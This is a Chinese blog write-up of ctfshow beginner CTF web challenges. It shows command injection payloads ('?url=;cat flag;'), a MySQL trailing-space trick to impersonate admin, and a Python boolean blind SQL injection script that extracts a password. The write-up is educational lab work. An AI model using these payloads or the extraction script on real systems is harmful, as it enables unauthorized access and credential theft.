ctfshow【萌新赛】

本文最后更新于:2023年8月25日 下午

ctfshow【萌新赛】

给她

从名字看就像git源码泄露,我们先用dirmap扫描一下:

image-20230316205346616

果然是git源码泄露,我们使用githack 下载泄露的源码:

image-20230316205511649

这里学到一个新的函数:sprintf()

image-20230316205737106

签到题

1
2
3
4
5
6
7
<?php 
if(isset($_GET['url'])){
system("curl https://".$_GET['url'].".ctf.show");
}else{
show_source(__FILE__);
}
?>

看到system就会想到命令执行,我们可以使用分号;去分隔命令。

payload:

1
2
?url=;ls;
?url=;cat flag;

假赛生

提示:register.php login.php 大佬们别扫了

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
session_start();
include('config.php');
if(empty($_SESSION['name'])){
show_source("index.php");
}else{
$name=$_SESSION['name'];
$sql='select pass from user where name="'.$name.'"';
echo $sql."<br />";
system('4rfvbgt56yhn.sh');
$query=mysqli_query($conn,$sql);
$result=mysqli_fetch_assoc($query);
if($name==='admin'){
echo "admin!!!!!"."<br />";
if(isset($_GET['c'])){
preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1);
echo $flag;
}else{
echo "you not admin";
}
}
}
?>

根据提示,我们访问register.php可以进行注册,访问login.php可以进行登录

我们先分析一下源代码index.php,我们首先需要 $name==='admin' ,$name是注册的时候设置的session值

只有我们注册的用户为admin才可以绕过第一层

这里有一个tips:

mysql的charvarchartext类型进行等值比较时,会忽略末尾的空格

例如:

image-20230316214846624

末尾的空格被忽略了,我们还是查询出了数据

我们再插入一条数据看看:

image-20230316215336059

我们发现插入的用户名:leekos 后面的空格也被自动去除了

如果我们想要精确查询,可以使用like关键字,不会忽略末尾的空格

根据以上分析,我们知道了,我们可以创建名为: admin (后面有一个空格)的用户,这样就可以以admin身份登录了

image-20230316215657201

image-20230316215940405

成功登录,但是我们需要绕过第二层过滤:

1
2
3
4
if(isset($_GET['c'])){
preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1);
echo $flag;
}

preg_replace_callback() 函数作用是匹配到了 /\w\W*/ 就会执行函数:function(){die("not allowed!");}

参数c 直接为空就行

image-20230316220132413

萌新记忆

image-20230316220228711

没什么东西,我们使用dirsearch扫一下:

image-20230316220415018

发现 /admin/ 目录,我们访问一下,发现是一个登录页面,应该是sql注入

image-20230316220846375

经过测试,我们发现用户名为:admin,并且只有用户名这里有注入点,

当用户名正确时,回显:密码错误。当用户名错误时,回显:用户名/密码错误

很明显这里需要使用 布尔盲注

我们先使用 fuzz看一下过滤了哪些字符:

image-20230316221433875

发现:or、select、union等被过滤了

但是:<、()、substr、length、|| 没有被过滤,我们可以使用 || 去代替or

这里注入需查询的方式和以往不同,这里只需要查询出admin的密码即可

用户名admin的密码字段为:p

我们首先使用length查询出密码的长度

1
'||length(p)<'17

image-20230316222410754

1
'||length(p)<'18

image-20230316222622646

此时说明密码长度为 17位

接下来我们需要使用脚本去获得密码了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
url="http://97da0123-c533-4807-aca1-35bcc7f088a9.challenge.ctf.show/admin/checklogin.php"
letter="0123456789abcdefghijklmnopqrstuvwxyz"
flag=""
for i in range(1,18):
for j in letter:
payload="'||substr(p,{},1)<'{}".format(i,j)
#print(payload)
data={
'u':payload,
'p':1
}
res=requests.post(url=url,data=data).text
print(res)
if "密码错误" == res:
flag += chr(ord(j)-1)
print(flag)
break

然后登录得到flag


ctfshow【萌新赛】
https://leekosss.github.io/2023/08/24/ctfshow[萌新赛]/
作者
leekos
发布于
2023年8月24日
更新于
2023年8月25日
许可协议